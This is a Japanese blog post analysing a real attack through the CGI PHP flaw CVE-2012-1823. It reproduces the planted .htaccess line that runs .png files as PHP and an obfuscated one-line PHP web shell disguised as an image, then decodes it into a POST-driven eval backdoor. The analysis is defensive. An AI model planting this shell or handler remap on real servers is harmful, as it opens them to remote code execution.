CGI版のPHPの脆弱性を突いてトラップを仕掛けた事例

CGI版PHPにリモートからスクリプト実行を許す脆弱性(CVE-2012-1823) | 徳丸浩の日記にあるとおりCGIPHPには任意のコードを実行できてしまう脆弱性があるとのこと。

で、実際にこの脆弱性を突かれた事例が見られたそうです。

何をされたのか?

これらの事例で行なわれたのはCVE-2012-1823脆弱性を利用して、2つのファイルを設置のみのようです。

1つ目のファイルは .htaccess で内容は以下の一行のみ。

AddHandler application/x-httpd-php .png

当然.htaccessがすでにある場合は上書きされてしまいます。
「.png」ではなくて「.gif」であることもあるようです。
これにより拡張子がpngのファイルにアクセスがあるとそのファイルがPHPスクリプトとして実行されることになります。

2つ目のファイルは以下のようなPHPスクリプトだけどファイル名は「乱数+画像の拡張子(.htaccessに書かれたもの)」

<?php ($_=$_POST).($_1='_').($_4=$$_1).($_4=$_4[$_1]).($_4($$_1)).eval(base64_decode($_4($$_1)));?>

つまり、2つ目の一見画像に見えるファイルにアクセスするとその中に書かれたPHPスクリプトが実行されると言うことです。

このスクリプトで何ができるの?

このPHPスクリプトはちょっとわかりにくく書かれていますが、要は

$_=$_POST;
$_1='_';
$_4=$$_1;
$_4=$_4[$_1];
$_4($$_1));
eval(base64_decode($_4($$_1)));

ということで、さらに $_1='_', $_=$_POST; から $$_1 → ${$_1} → ${'_'} → $_ → $_POST; なので

$_4=$_POST;
$_4=$_4['_'];
$_4($_POST));
eval(base64_decode($_4($_POST)));

結局

$function = $_POST['_'];
$function($_POST);
eval(base64_decode($function($_POST)));

ということです。

これはつまりどういうことなのか。
$function(...); とあるので $function = $_POST['_'] は関数じゃないといけないですね(なので $function という変数名にしました)。$_POSTに二回実行する関数で二回目の実行で文字列を返すようになる関数は何か。

array_shiftもしくはarray_popでしょうか。
つまり以下のような値をPOSTします。

$_POST = array("_" => "array_shift", "code" => "xxxxxxxxxxxxxxxx");

xxxxxxxxxxxxxxxxはbase64_encodeされたPHPスクリプトです。
すると

array_shift($_POST);
eval(base64_decode(array_shift($_POST)));;

となり、xxxxxxxxxxxxxxxxをデコードして得られるPHPスクリプトが実行されるということです。

任意のPHPスクリプトがPOSTで値を渡すことで実行できるようにされているということですね。

これは実際に

$_POST = array("_" => "array_shift", "code" => base64_encode("phpinfo();"););
($_=$_POST).($_1='_').($_4=$$_1).($_4=$_4[$_1]).($_4($$_1)).eval(base64_decode($_4($$_1)));

とすれば確かめられます。


よくわからないのは、任意のコードを実行できる脆弱性があるのにわざわざその脆弱性を使って任意のコードを実行できる環境を作っているということです。
CGIPHP脆弱性はそのうち対策がなされるだろうから脆弱性のあるうちにあちこちに任意のコードを実行できる環境を用意しておこうという意図なのでしょうか?

おまけ

大垣さんはこの脆弱性に言及していないのかなと思ったら少しtweetしてました。